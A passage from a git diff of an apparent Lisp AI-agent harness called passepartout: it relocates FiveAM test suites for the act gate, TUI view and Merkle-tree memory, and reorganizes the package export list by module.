(getf code :lang))) - (is (string= "(+ 1 2)" (string-trim '(#\Space #\Newline) (getf code :content))))))) - -(test test-markdown-blocks-no-close - "Contract 8: unclosed code block returns content." - (let* ((text (format nil "```~%unclosed code")) - (segs (passepartout::parse-markdown-blocks text))) - (is (= 1 (length segs))) - (is (eq t (getf (first segs) :code-block))))) - -(test test-syntax-highlight - "Contract 9: syntax-highlight colors Lisp code." - (let ((segs (passepartout::syntax-highlight "(defun foo (x) (+ x 1))" "lisp"))) - (is (>= (length segs) 3)))) - -(test test-syntax-highlight-keyword - "Contract 9: syntax-highlight colors keywords." - (let ((segs (passepartout::syntax-highlight "(let ((x 1)) (+ x 2))" "lisp"))) - (is (>= (length segs) 2)) - (is (find :keyword segs :key (lambda (s) (getf (cdr s) :fgcolor)))))) - -(test test-syntax-highlight-function - "Contract 9: syntax-highlight colors function calls." - (let ((segs (passepartout::syntax-highlight "(+ 1 2)" "lisp"))) - (is (>= (length segs) 2)) - (is (find :function segs :key (lambda (s) (getf (cdr s) :fgcolor)))))) - -(test test-gate-trace-lines-passed - "Contract 9: gate-trace-lines for passed gate." - (let ((lines (passepartout::gate-trace-lines - '((:gate "path" :result :passed))))) - (is (= 1 (length lines))) - (is (eq :gate-passed (getf (cdar lines) :fgcolor))))) - -(test test-gate-trace-lines-blocked - "Contract 9: gate-trace-lines for blocked gate." - (let ((lines (passepartout::gate-trace-lines - '((:gate "shell" :result :blocked :reason "rm"))))) - (is (= 1 (length lines))) - (is (search "rm" (caar lines))))) - -(test test-gate-trace-lines-approval - "Contract 9: gate-trace-lines for approval gate." - (let ((lines (passepartout::gate-trace-lines - '((:gate "network" :result :approval))))) - (is (= 1 (length lines))) - (is (search "HITL" (caar lines))))) - -(test test-init-state-has-collapsed-gates - "Contract v0.7.2: init-state includes :collapsed-gates field." - (passepartout.channel-tui::init-state) - (let ((cg (passepartout.channel-tui::st :collapsed-gates))) - (is (null cg)))) -#+end_src - * v0.8.0 Tests — Sidebar View #+begin_src lisp (in-package :passepartout-tui-view-tests) diff --git a/org/core-act.org b/org/core-act.org index 2266f4d..a962474 100644 --- a/org/core-act.org +++ b/org/core-act.org @@ -38,6 +38,132 @@ Because a skill's deterministic gate runs during Reason, but between Reason and ~fboundp~-guarded; missing skills produce nil. Called from the ~:tui~ actuator lambda. +* Test Suite +Verifies that the act gate correctly processes an approved action and sets the signal status to ~:acted~. +#+begin_src lisp +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-pipeline-act-tests + (:use :cl :fiveam :passepartout) + (:export #:pipeline-act-suite)) + +(in-package :passepartout-pipeline-act-tests) + +(def-suite pipeline-act-suite :description "Test suite for Act pipeline") +(in-suite pipeline-act-suite) + +(test test-loop-gate-act-basic + "Contract 1: approved action reaches :acted status via loop-gate-act." + (clrhash passepartout::*skill-registry*) + (let* ((signal (list :type :EVENT :status nil :depth 0 :approved-action '(:target :cli :payload (:text "Hello")))) + (result (loop-gate-act signal))) + (is (eq :acted (getf signal :status))) + (is (null result)))) + +(test test-loop-gate-act-no-approved-action + "Contract 1: signal with no approved-action still reaches :acted status." + (clrhash passepartout::*skill-registry*) + (let* ((signal (list :type :EVENT :status nil :depth 0))) + (loop-gate-act signal) + (is (eq :acted (getf signal :status))))) + +(test test-loop-gate-act-last-mile-reject + "Contract 1: last-mile cognitive-verify rejection blocks approved-action." + (clrhash passepartout::*skill-registry*) + (passepartout::defskill :mock-blocker + :priority 50 + :trigger (lambda (ctx) (declare (ignore ctx)) t) + :deterministic (lambda (action ctx) + (declare (ignore ctx action)) + (list :type :LOG :payload (list :text "Last-mile block")))) + (let* ((signal (list :type :EVENT :status nil :depth 0 + :approved-action '(:type :REQUEST :target :cli :payload (:text "blocked"))))) + (loop-gate-act signal) + (is (eq :acted (getf signal :status))) + (is (null (getf signal :approved-action))))) + +(test test-loop-gate-act-preserves-meta + "Contract 1: signal metadata is not mutated by loop-gate-act." + (clrhash passepartout::*skill-registry*) + (let* ((meta '(:source :tui :session "s1")) + (signal (list :type :EVENT :status nil :depth 0 :meta meta + :approved-action '(:target :cli :payload (:text "test"))))) + (loop-gate-act signal) + (is (equal meta (getf signal :meta))))) + +(test test-action-dispatch-routes + "Contract 3: action-dispatch routes to registered actuators without crashing." + (actuator-initialize) + (let ((result (action-dispatch '(:type :REQUEST :target :system :payload (:action :eval :code "(+ 1 2)")) + '(:type :EVENT :depth 0)))) + (is (numberp result) "eval should return a number"))) + +(test test-tool-timeout-shell + "Contract v0.7.2: shell timeout is 300 seconds." + (is (= 300 (passepartout::tool-timeout "shell")))) + +(test test-tool-timeout-unknown + "Contract v0.7.2: unknown tool gets default 120s." + (is (= 120 (passepartout::tool-timeout "nonexistent-tool")))) + +(test test-verify-write-match + "Contract v0.7.2: verify-write returns T on match." + (let ((path "/tmp/passepartout-verify-test.org") + (content "test content")) + (with-open-file (f path :direction :output :if-exists :supersede) + (write-string content f)) + (unwind-protect + (is (passepartout::verify-write path content)) + (ignore-errors (delete-file path))))) + +(test test-tool-timeout-enforcement + "Contract v0.7.2: tool exceeding timeout returns :error with timeout message." + (setf (gethash "sleep-forever" passepartout::*tool-timeouts*) 1) + (setf (gethash "sleep-forever" passepartout::*cognitive-tool-registry*) + (passepartout::make-cognitive-tool :name "sleep-forever" + :read-only-p nil + :body (lambda (args) + (declare (ignore args)) + (sleep 10) + "done"))) + (unwind-protect + (let* ((action '(:type :REQUEST :payload (:tool "sleep-forever" :args nil))) + (ctx '(:depth 0)) + (result (passepartout::action-tool-execute action ctx))) + (is (eq :EVENT (getf result :TYPE))) + (let ((payload (getf result :PAYLOAD))) + (is (eq :tool-error (getf payload :SENSOR))) + (is (search "timed out" (string-downcase (getf payload :MESSAGE)))))) + (remhash "sleep-forever" passepartout::*cognitive-tool-registry*) + (remhash "sleep-forever" passepartout::*tool-timeouts*))) + +(test test-tool-cache-read-only + "Contract v0.7.2: read-only tool results are cached and reused." + (let ((call-count 0)) + (setf (gethash "cache-test" passepartout::*cognitive-tool-registry*) + (passepartout::make-cognitive-tool :name "cache-test" + :read-only-p t + :body (lambda (args) + (declare (ignore args)) + (incf call-count) + (list :status :success :content (format nil "call ~d" call-count))))) + (unwind-protect + (progn + (clrhash passepartout::*tool-cache*) + (let* ((action '(:type :REQUEST :payload (:tool "cache-test" :args nil))) + (ctx '(:depth 0)) + (r1 (passepartout::action-tool-execute action ctx)) + (r2 (passepartout::action-tool-execute action ctx))) + (is (= 1 call-count) "Second call should hit cache, not re-execute") + (let ((p1 (getf r1 :PAYLOAD)) + (p2 (getf r2 :PAYLOAD))) + (is (string= (getf (getf p1 :RESULT) :CONTENT) + (getf (getf p2 :RESULT) :CONTENT)))))) + (remhash "cache-test" passepartout::*cognitive-tool-registry*) + (clrhash passepartout::*tool-cache*)))) +#+end_src + * Implementation ** Package Context @@ -401,128 +527,3 @@ uses the old name can call this alias. New code should call (loop-gate-act signal)) #+end_src -* Test Suite -Verifies that the act gate correctly processes an approved action and sets the signal status to ~:acted~. -#+begin_src lisp -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-pipeline-act-tests - (:use :cl :fiveam :passepartout) - (:export #:pipeline-act-suite)) - -(in-package :passepartout-pipeline-act-tests) - -(def-suite pipeline-act-suite :description "Test suite for Act pipeline") -(in-suite pipeline-act-suite) - -(test test-loop-gate-act-basic - "Contract 1: approved action reaches :acted status via loop-gate-act." - (clrhash passepartout::*skill-registry*) - (let* ((signal (list :type :EVENT :status nil :depth 0 :approved-action '(:target :cli :payload (:text "Hello")))) - (result (loop-gate-act signal))) - (is (eq :acted (getf signal :status))) - (is (null result)))) - -(test test-loop-gate-act-no-approved-action - "Contract 1: signal with no approved-action still reaches :acted status." - (clrhash passepartout::*skill-registry*) - (let* ((signal (list :type :EVENT :status nil :depth 0))) - (loop-gate-act signal) - (is (eq :acted (getf signal :status))))) - -(test test-loop-gate-act-last-mile-reject - "Contract 1: last-mile cognitive-verify rejection blocks approved-action." - (clrhash passepartout::*skill-registry*) - (passepartout::defskill :mock-blocker - :priority 50 - :trigger (lambda (ctx) (declare (ignore ctx)) t) - :deterministic (lambda (action ctx) - (declare (ignore ctx action)) - (list :type :LOG :payload (list :text "Last-mile block")))) - (let* ((signal (list :type :EVENT :status nil :depth 0 - :approved-action '(:type :REQUEST :target :cli :payload (:text "blocked"))))) - (loop-gate-act signal) - (is (eq :acted (getf signal :status))) - (is (null (getf signal :approved-action))))) - -(test test-loop-gate-act-preserves-meta - "Contract 1: signal metadata is not mutated by loop-gate-act." - (clrhash passepartout::*skill-registry*) - (let* ((meta '(:source :tui :session "s1")) - (signal (list :type :EVENT :status nil :depth 0 :meta meta - :approved-action '(:target :cli :payload (:text "test"))))) - (loop-gate-act signal) - (is (equal meta (getf signal :meta))))) - -(test test-action-dispatch-routes - "Contract 3: action-dispatch routes to registered actuators without crashing." - (actuator-initialize) - (let ((result (action-dispatch '(:type :REQUEST :target :system :payload (:action :eval :code "(+ 1 2)")) - '(:type :EVENT :depth 0)))) - (is (numberp result) "eval should return a number"))) - -(test test-tool-timeout-shell - "Contract v0.7.2: shell timeout is 300 seconds." - (is (= 300 (passepartout::tool-timeout "shell")))) - -(test test-tool-timeout-unknown - "Contract v0.7.2: unknown tool gets default 120s." - (is (= 120 (passepartout::tool-timeout "nonexistent-tool")))) - -(test test-verify-write-match - "Contract v0.7.2: verify-write returns T on match." - (let ((path "/tmp/passepartout-verify-test.org") - (content "test content")) - (with-open-file (f path :direction :output :if-exists :supersede) - (write-string content f)) - (unwind-protect - (is (passepartout::verify-write path content)) - (ignore-errors (delete-file path))))) - -(test test-tool-timeout-enforcement - "Contract v0.7.2: tool exceeding timeout returns :error with timeout message." - (setf (gethash "sleep-forever" passepartout::*tool-timeouts*) 1) - (setf (gethash "sleep-forever" passepartout::*cognitive-tool-registry*) - (passepartout::make-cognitive-tool :name "sleep-forever" - :read-only-p nil - :body (lambda (args) - (declare (ignore args)) - (sleep 10) - "done"))) - (unwind-protect - (let* ((action '(:type :REQUEST :payload (:tool "sleep-forever" :args nil))) - (ctx '(:depth 0)) - (result (passepartout::action-tool-execute action ctx))) - (is (eq :EVENT (getf result :TYPE))) - (let ((payload (getf result :PAYLOAD))) - (is (eq :tool-error (getf payload :SENSOR))) - (is (search "timed out" (string-downcase (getf payload :MESSAGE)))))) - (remhash "sleep-forever" passepartout::*cognitive-tool-registry*) - (remhash "sleep-forever" passepartout::*tool-timeouts*))) - -(test test-tool-cache-read-only - "Contract v0.7.2: read-only tool results are cached and reused." - (let ((call-count 0)) - (setf (gethash "cache-test" passepartout::*cognitive-tool-registry*) - (passepartout::make-cognitive-tool :name "cache-test" - :read-only-p t - :body (lambda (args) - (declare (ignore args)) - (incf call-count) - (list :status :success :content (format nil "call ~d" call-count))))) - (unwind-protect - (progn - (clrhash passepartout::*tool-cache*) - (let* ((action '(:type :REQUEST :payload (:tool "cache-test" :args nil))) - (ctx '(:depth 0)) - (r1 (passepartout::action-tool-execute action ctx)) - (r2 (passepartout::action-tool-execute action ctx))) - (is (= 1 call-count) "Second call should hit cache, not re-execute") - (let ((p1 (getf r1 :PAYLOAD)) - (p2 (getf r2 :PAYLOAD))) - (is (string= (getf (getf p1 :RESULT) :CONTENT) - (getf (getf p2 :RESULT) :CONTENT)))))) - (remhash "cache-test" passepartout::*cognitive-tool-registry*) - (clrhash passepartout::*tool-cache*)))) -#+end_src \ No newline at end of file diff --git a/org/core-memory.org b/org/core-memory.org index 04c36da..dda9a9d 100644 --- a/org/core-memory.org +++ b/org/core-memory.org @@ -46,6 +46,142 @@ The tradeoff is memory usage: each snapshot is a deep copy of every object in ac 4. (snapshot-memory): deep-copies ~*memory-store*~ to ~*memory-snapshots*~. 5. (rollback-memory snap-index): restores ~*memory-store*~ from a snapshot. +* Test Suite +Verifies that the Merkle hash is deterministic and consistent across independent AST ingestions. +#+begin_src lisp +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-memory-tests + (:use :cl :fiveam :passepartout) + (:export #:memory-suite)) + +(in-package :passepartout-memory-tests) + +(def-suite memory-suite :description "Tests for the Merkle-Tree Memory") +(in-suite memory-suite) + +(test merkle-hash-consistency + "Contract 2: identical ASTs produce identical Merkle hashes." + (let* ((ast1 '(:type :HEADLINE :properties (:ID "test-1" :TITLE "Node 1") :contents nil))) + (clrhash passepartout::*memory-store*) + (let ((id1 (ingest-ast ast1))) + (let ((hash1 (memory-object-hash (memory-object-get id1)))) + (clrhash passepartout::*memory-store*) + (let ((id2 (ingest-ast ast1))) + (is (equal hash1 (memory-object-hash (memory-object-get id2))))))))) + +(test merkle-hash-different + "Contract 2: distinct ASTs produce different Merkle hashes." + (clrhash passepartout::*memory-store*) + (let* ((ast1 '(:type :HEADLINE :properties (:ID "a" :TITLE "Alpha") :contents nil)) + (ast2 '(:type :HEADLINE :properties (:ID "b" :TITLE "Beta") :contents nil)) + (id1 (ingest-ast ast1)) + (id2 (ingest-ast ast2)) + (hash1 (memory-object-hash (memory-object-get id1))) + (hash2 (memory-object-hash (memory-object-get id2)))) + (is (not (equal hash1 hash2))))) + +(test test-ingest-ast-returns-id + "Contract 1: ingest-ast returns a string ID and stores the object." + (clrhash passepartout::*memory-store*) + (let ((id (ingest-ast '(:type :HEADLINE :properties (:ID "ingest-test" :TITLE "Test Node") :contents nil)))) + (is (stringp id)) + (is (not (null id))))) + +(test test-memory-object-get + "Contract 3: memory-object-get retrieves an object by ID after ingest." + (clrhash passepartout::*memory-store*) + (let ((id (ingest-ast '(:type :HEADLINE :properties (:ID "get-test" :TITLE "Retrieve Me") :contents nil)))) + (let ((obj (memory-object-get id))) + (is (not (null obj))) + (is (eq :HEADLINE (memory-object-type obj))) + (is (string= "Retrieve Me" (getf (memory-object-attributes obj) :TITLE)))))) + +(test test-snapshot-and-rollback + "Contract 4+5: snapshot-memory saves state; rollback-memory restores it." + (clrhash passepartout::*memory-store*) + (setf passepartout::*memory-snapshots* nil) + (ingest-ast '(:type :HEADLINE :properties (:ID "snap-a" :TITLE "Pre-snapshot") :contents nil)) + (snapshot-memory) + (clrhash passepartout::*memory-store*) + (ingest-ast '(:type :HEADLINE :properties (:ID "snap-b" :TITLE "Post-snapshot") :contents nil)) + (rollback-memory 0) + (is (not (null (memory-object-get "snap-a")))) + (is (null (memory-object-get "snap-b")))) + +(test test-undo-snapshot-restore + "Contract v0.7.2: undo-snapshot captures state, undo restores." + (let ((orig-store passepartout::*memory-store*) + (orig-undo passepartout::*undo-stack*) + (orig-redo passepartout::*redo-stack*)) + (unwind-protect + (progn + (setf passepartout::*memory-store* (make-hash-table :test 'equal) + passepartout::*undo-stack* nil + passepartout::*redo-stack* nil) + (passepartout::undo-snapshot) + (setf (gethash "x" passepartout::*memory-store*) "hello") + (is (string= "hello" (gethash "x" passepartout::*memory-store*))) + (is (passepartout::undo)) + (is (null (gethash "x" passepartout::*memory-store*)))) + (setf passepartout::*memory-store* orig-store + passepartout::*undo-stack* orig-undo + passepartout::*redo-stack* orig-redo)))) + +(test test-undo-redo-cycle + "Contract v0.7.2: redo restores undone state." + (let ((orig-store passepartout::*memory-store*) + (orig-undo passepartout::*undo-stack*) + (orig-redo passepartout::*redo-stack*)) + (unwind-protect + (progn + (setf passepartout::*memory-store* (make-hash-table :test 'equal) + passepartout::*undo-stack* nil + passepartout::*redo-stack* nil) + (passepartout::undo-snapshot) + (setf (gethash "y" passepartout::*memory-store*) "world") + (is (passepartout::undo)) + (is (null (gethash "y" passepartout::*memory-store*))) + (is (passepartout::redo)) + (is (string= "world" (gethash "y" passepartout::*memory-store*)))) + (setf passepartout::*memory-store* orig-store + passepartout::*undo-stack* orig-undo + passepartout::*redo-stack* orig-redo)))) + +(test test-undo-empty-stack-nil + "Contract v0.7.2: undo returns nil on empty stack." + (let ((orig-undo passepartout::*undo-stack*)) + (unwind-protect + (progn (setf passepartout::*undo-stack* nil) + (is (null (passepartout::undo)))) + (setf passepartout::*undo-stack* orig-undo)))) + +(test test-audit-node-found + "Contract v0.7.2: audit-node returns info for existing object." + (clrhash passepartout::*memory-store*) + (setf (gethash "audit-1" passepartout::*memory-store*) + (passepartout::make-memory-object :id "audit-1" :type :HEADLINE + :version 1 :hash "abc123" :scope :memex)) + (let ((info (passepartout::audit-node "audit-1"))) + (is (not (null info))) + (is (eq :HEADLINE (getf info :type))) + (is (string= "abc123" (getf info :hash))))) + +(test test-audit-node-not-found + "Contract v0.7.2: audit-node returns nil for nonexistent id." + (is (null (passepartout::audit-node "nonexistent-xxxx")))) + +(test test-audit-verify-hash + "Contract v0.7.2: audit-verify-hash returns (total . missing)." + (clrhash passepartout::*memory-store*) + (setf (gethash "a" passepartout::*memory-store*) + (passepartout::make-memory-object :id "a" :type :HEADLINE :hash "abc")) + (let ((result (passepartout::audit-verify-hash))) + (is (= 1 (car result))) + (is (= 0 (cdr result))))) +#+end_src + * Implementation ** Package Context @@ -431,138 +567,3 @@ Returns (total . missing-hashes)." (cons total missing))) #+end_src -* Test Suite -Verifies that the Merkle hash is deterministic and consistent across independent AST ingestions. -#+begin_src lisp -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-memory-tests - (:use :cl :fiveam :passepartout) - (:export #:memory-suite)) - -(in-package :passepartout-memory-tests) - -(def-suite memory-suite :description "Tests for the Merkle-Tree Memory") -(in-suite memory-suite) - -(test merkle-hash-consistency - "Contract 2: identical ASTs produce identical Merkle hashes." - (let* ((ast1 '(:type :HEADLINE :properties (:ID "test-1" :TITLE "Node 1") :contents nil))) - (clrhash passepartout::*memory-store*) - (let ((id1 (ingest-ast ast1))) - (let ((hash1 (memory-object-hash (memory-object-get id1)))) - (clrhash passepartout::*memory-store*) - (let ((id2 (ingest-ast ast1))) - (is (equal hash1 (memory-object-hash (memory-object-get id2))))))))) - -(test merkle-hash-different - "Contract 2: distinct ASTs produce different Merkle hashes." - (clrhash passepartout::*memory-store*) - (let* ((ast1 '(:type :HEADLINE :properties (:ID "a" :TITLE "Alpha") :contents nil)) - (ast2 '(:type :HEADLINE :properties (:ID "b" :TITLE "Beta") :contents nil)) - (id1 (ingest-ast ast1)) - (id2 (ingest-ast ast2)) - (hash1 (memory-object-hash (memory-object-get id1))) - (hash2 (memory-object-hash (memory-object-get id2)))) - (is (not (equal hash1 hash2))))) - -(test test-ingest-ast-returns-id - "Contract 1: ingest-ast returns a string ID and stores the object." - (clrhash passepartout::*memory-store*) - (let ((id (ingest-ast '(:type :HEADLINE :properties (:ID "ingest-test" :TITLE "Test Node") :contents nil)))) - (is (stringp id)) - (is (not (null id))))) - -(test test-memory-object-get - "Contract 3: memory-object-get retrieves an object by ID after ingest." - (clrhash passepartout::*memory-store*) - (let ((id (ingest-ast '(:type :HEADLINE :properties (:ID "get-test" :TITLE "Retrieve Me") :contents nil)))) - (let ((obj (memory-object-get id))) - (is (not (null obj))) - (is (eq :HEADLINE (memory-object-type obj))) - (is (string= "Retrieve Me" (getf (memory-object-attributes obj) :TITLE)))))) - -(test test-snapshot-and-rollback - "Contract 4+5: snapshot-memory saves state; rollback-memory restores it." - (clrhash passepartout::*memory-store*) - (setf passepartout::*memory-snapshots* nil) - (ingest-ast '(:type :HEADLINE :properties (:ID "snap-a" :TITLE "Pre-snapshot") :contents nil)) - (snapshot-memory) - (clrhash passepartout::*memory-store*) - (ingest-ast '(:type :HEADLINE :properties (:ID "snap-b" :TITLE "Post-snapshot") :contents nil)) - (rollback-memory 0) - (is (not (null (memory-object-get "snap-a")))) - (is (null (memory-object-get "snap-b")))) - -(test test-undo-snapshot-restore - "Contract v0.7.2: undo-snapshot captures state, undo restores." - (let ((orig-store passepartout::*memory-store*) - (orig-undo passepartout::*undo-stack*) - (orig-redo passepartout::*redo-stack*)) - (unwind-protect - (progn - (setf passepartout::*memory-store* (make-hash-table :test 'equal) - passepartout::*undo-stack* nil - passepartout::*redo-stack* nil) - (passepartout::undo-snapshot) - (setf (gethash "x" passepartout::*memory-store*) "hello") - (is (string= "hello" (gethash "x" passepartout::*memory-store*))) - (is (passepartout::undo)) - (is (null (gethash "x" passepartout::*memory-store*)))) - (setf passepartout::*memory-store* orig-store - passepartout::*undo-stack* orig-undo - passepartout::*redo-stack* orig-redo)))) - -(test test-undo-redo-cycle - "Contract v0.7.2: redo restores undone state." - (let ((orig-store passepartout::*memory-store*) - (orig-undo passepartout::*undo-stack*) - (orig-redo passepartout::*redo-stack*)) - (unwind-protect - (progn - (setf passepartout::*memory-store* (make-hash-table :test 'equal) - passepartout::*undo-stack* nil - passepartout::*redo-stack* nil) - (passepartout::undo-snapshot) - (setf (gethash "y" passepartout::*memory-store*) "world") - (is (passepartout::undo)) - (is (null (gethash "y" passepartout::*memory-store*))) - (is (passepartout::redo)) - (is (string= "world" (gethash "y" passepartout::*memory-store*)))) - (setf passepartout::*memory-store* orig-store - passepartout::*undo-stack* orig-undo - passepartout::*redo-stack* orig-redo)))) - -(test test-undo-empty-stack-nil - "Contract v0.7.2: undo returns nil on empty stack." - (let ((orig-undo passepartout::*undo-stack*)) - (unwind-protect - (progn (setf passepartout::*undo-stack* nil) - (is (null (passepartout::undo)))) - (setf passepartout::*undo-stack* orig-undo)))) - -(test test-audit-node-found - "Contract v0.7.2: audit-node returns info for existing object." - (clrhash passepartout::*memory-store*) - (setf (gethash "audit-1" passepartout::*memory-store*) - (passepartout::make-memory-object :id "audit-1" :type :HEADLINE - :version 1 :hash "abc123" :scope :memex)) - (let ((info (passepartout::audit-node "audit-1"))) - (is (not (null info))) - (is (eq :HEADLINE (getf info :type))) - (is (string= "abc123" (getf info :hash))))) - -(test test-audit-node-not-found - "Contract v0.7.2: audit-node returns nil for nonexistent id." - (is (null (passepartout::audit-node "nonexistent-xxxx")))) - -(test test-audit-verify-hash - "Contract v0.7.2: audit-verify-hash returns (total . missing)." - (clrhash passepartout::*memory-store*) - (setf (gethash "a" passepartout::*memory-store*) - (passepartout::make-memory-object :id "a" :type :HEADLINE :hash "abc")) - (let ((result (passepartout::audit-verify-hash))) - (is (= 1 (car result))) - (is (= 0 (cdr result))))) -#+end_src \ No newline at end of file diff --git a/org/core-package.org b/org/core-package.org index 8bb9ad8..ff0a40f 100644 --- a/org/core-package.org +++ b/org/core-package.org @@ -11,7 +11,7 @@ The export list is the contract between the harness and all skills. Every function exported here is accessible to every skill via ~use-package~. Adding a symbol here is an API commitment; removing one is a breaking change. The implementation section includes: -- ~plist-get~ — robust plist accessor used everywhere in the pipeline +- ~proto-get~ — robust plist accessor used everywhere in the pipeline - Logging state (~*log-buffer*~, ~*log-lock*~) — bounded ring buffer for LLM context - Skill registry (~*skill-registry*~, ~defskill~) — all loaded skills live here - Cognitive tool registry (~*cognitive-tool-registry*~, ~def-cognitive-tool~, ~cognitive-tool-prompt~) @@ -21,29 +21,45 @@ The implementation section includes: * Implementation ** Package Definition and Export List -The package definition. All public symbols are exported here. +The export list is organized by source module so a contributor can find +where to add new exports: + #+begin_src lisp (defpackage :passepartout (:use :cl) (:export + ;; ── Core: Transport & Protocol ── #:frame-message #:read-framed-message - #:PROTO-GET - #:proto-get - #:*VAULT-MEMORY* + #:PROTO-GET + #:proto-get #:make-hello-message #:validate-communication-protocol-schema #:start-daemon - #:log-message + #:register-actuator + #:actuator-initialize + #:action-dispatch + + ;; ── Core: Pipeline ── #:main - #:diagnostics-run-all - #:diagnostics-main - #:diagnostics-dependencies-check - #:diagnostics-env-check - #:register-provider - #:provider-openai-request - #:provider-config - #:run-setup-wizard + #:log-message + #:process-signal + #:loop-process + #:perceive-gate + #:loop-gate-perceive + #:act-gate + #:loop-gate-act + #:reason-gate + #:loop-gate-reason + #:cognitive-verify + #:backend-cascade-call + #:json-alist-to-plist + #:stimulus-inject + #:register-probabilistic-backend + #:*probabilistic-backends* + #:*provider-cascade* + + ;; ── Core: Memory ── #:ingest-ast #:memory-object-get #:*memory-store* @@ -60,6 +76,7 @@ The package definition. All public symbols are exported here. #:memory-object-content #:memory-object-hash #:memory-object-scope + #:memory-objects-by-attribute #:snapshot-memory #:rollback-memory #:undo-snapshot @@ -67,10 +84,12 @@ The package definition. All public symbols are exported here. #:redo #:*undo-stack* #:*redo-stack* - #:context-get-system-logs - #:context-assemble-global-awareness - #:context-awareness-assemble - #:context-query + + ;; ── Core: Context & Awareness ── + #:context-get-system-logs + #:context-assemble-global-awareness + #:context-awareness-assemble + #:context-query #:push-context #:pop-context #:current-context @@ -82,91 +101,25 @@ The package definition. All public symbols are exported here. #:focus-session #:focus-memex #:unfocus - #:process-signal - #:loop-process - #:perceive-gate - #:loop-gate-perceive - #:act-gate - #:loop-gate-act - #:reason-gate - #:loop-gate-reason - #:cognitive-verify - #:backend-cascade-call - #:json-alist-to-plist - #:json-alist-to-plist - #:inject-stimulus - #:stimulus-inject - #:hitl-create - #:hitl-approve - #:hitl-deny - #:hitl-handle-message - #:dispatcher-check-secret-path - #:dispatcher-check-shell-safety - #:dispatcher-check-privacy-tags - #:dispatcher-check-network-exfil - #:dispatcher-check - #:dispatcher-gate - #:wildcard-match - #:actuator-initialize - #:action-dispatch - #:register-actuator - #:load-skill-from-org - #:skill-initialize-all - #:lisp-syntax-validate - #:defskill - #:*skill-registry* - #:*scope-resolver* - #:*embedding-backend* - #:*embedding-queue* - #:*embedding-provider* - #:embed-queue-object - #:embed-object - #:embed-all-pending - #:embedding-backend-hashing - #:embedding-backend-native - #:embedding-native-load-model - #:embedding-native-unload - #:embedding-native-ensure-loaded - #:embedding-native-get-dim - #:embeddings-compute - #:mark-vector-stale - #:skill + #:*scope-resolver* + + ;; ── Core: Skills Engine ── + #:skill #:skill-name #:skill-priority #:skill-dependencies #:skill-trigger-fn #:skill-probabilistic-prompt #:skill-deterministic-fn + #:defskill + #:*skill-registry* + #:skill-initialize-all + #:load-skill-from-org + #:lisp-syntax-validate + + ;; ── Core: Cognitive Tools ── #:def-cognitive-tool #:*cognitive-tool-registry* - #:org-read-file - #:org-write-file - #:org-headline-add - #:org-headline-find-by-id - #:literate-tangle-sync-check - #:archivist-create-note - #:gateway-start - #:org-property-set - #:org-todo-set - #:org-id-generate - #:org-id-format - #:org-modify - #:lisp-validate - #:lisp-structural-check - #:lisp-syntactic-check - #:lisp-semantic-check - #:lisp-eval - #:lisp-format - #:lisp-list-definitions - #:lisp-extract - #:lisp-inject - #:lisp-slurp - #:get-oc-config-dir - #:get-tool-permission - #:set-tool-permission - #:check-tool-permission-gate - #:permission-get - #:permission-set #:cognitive-tool #:cognitive-tool-name #:cognitive-tool-description @@ -174,59 +127,132 @@ The package definition. All public symbols are exported here. #:cognitive-tool-guard #:cognitive-tool-body #:tool-read-only-p - #:register-probabilistic-backend - #:*probabilistic-backends* - #:*provider-cascade* - #:vault-get - #:vault-set - #:vault-get-secret - #:vault-set-secret - #:memory-objects-by-attribute - #:channel-cli-input - #:repl-eval - #:repl-inspect - #:repl-list-vars - #:policy-compliance-check - #:validator-protocol-check - #:archivist-extract-headlines - #:archivist-headline-to-filename - #:literate-extract-lisp-blocks - #:literate-block-balance-check - #:gateway-registry-initialize - #:messaging-link - #:messaging-unlink - #:gateway-configured-p - #:count-tokens - #:model-token-ratio - #:token-cost - #:provider-token-cost - #:cost-track-call - #:cost-session-total - #:cost-session-calls - #:cost-by-provider - #:cost-session-reset - #:cost-format-budget-status - #:cost-track-backend-call - #:prompt-prefix-cached - #:context-assemble-cached - #:enforce-token-budget - #:token-economics-initialize)) + + ;; ── Security: Dispatcher ── + #:dispatcher-check-secret-path + #:dispatcher-check-shell-safety + #:dispatcher-check-privacy-tags + #:dispatcher-check-network-exfil + #:dispatcher-check + #:dispatcher-gate + #:wildcard-match + + ;; ── Security: HITL ── + #:hitl-create + #:hitl-approve + #:hitl-deny + #:hitl-handle-message + + ;; ── Security: Vault & Permissions ── + #:*VAULT-MEMORY* + #:vault-get + #:vault-set + #:vault-get-secret + #:vault-set-secret + #:get-tool-permission + #:set-tool-permission + #:check-tool-permission-gate + #:permission-get + #:permission-set + #:policy-compliance-check + #:validator-protocol-check + + ;; ── Embedding ── + #:*embedding-backend* + #:*embedding-queue* + #:*embedding-provider* + #:embed-queue-object + #:embed-object + #:embed-all-pending + #:embedding-backend-hashing + #:embedding-backend-native + #:embedding-native-load-model + #:embedding-native-unload + #:embedding-native-ensure-loaded + #:embedding-native-get-dim + #:embeddings-compute + #:mark-vector-stale + + ;; ── Channels ── + #:channel-cli-input + #:gateway-start + #:gateway-registry-initialize + #:messaging-link + #:messaging-unlink + #:gateway-configured-p + + ;; ── Programming: Lisp ── + #:lisp-validate + #:lisp-structural-check + #:lisp-syntactic-check + #:lisp-semantic-check + #:lisp-eval + #:lisp-format + #:lisp-list-definitions + #:lisp-extract + #:lisp-inject + #:lisp-slurp + + ;; ── Programming: Org ── + #:org-read-file + #:org-write-file + #:org-headline-add + #:org-headline-find-by-id + #:org-property-set + #:org-todo-set + #:org-id-generate + #:org-id-format + #:org-modify + + ;; ── Programming: Literate & REPL ── + #:literate-tangle-sync-check + #:literate-extract-lisp-blocks + #:literate-block-balance-check + #:repl-eval + #:repl-inspect + #:repl-list-vars + + ;; ── Symbolic ── + #:archivist-create-note + #:archivist-extract-headlines + #:archivist-headline-to-filename + + ;; ── Diagnostics & Config ── + #:diagnostics-run-all + #:diagnostics-main + #:diagnostics-dependencies-check + #:diagnostics-env-check + #:get-oc-config-dir + #:run-setup-wizard + + ;; ── Providers ── + #:register-provider + #:provider-openai-request + #:provider-config + + ;; ── Token Economics ── + #:count-tokens + #:model-token-ratio + #:token-cost + 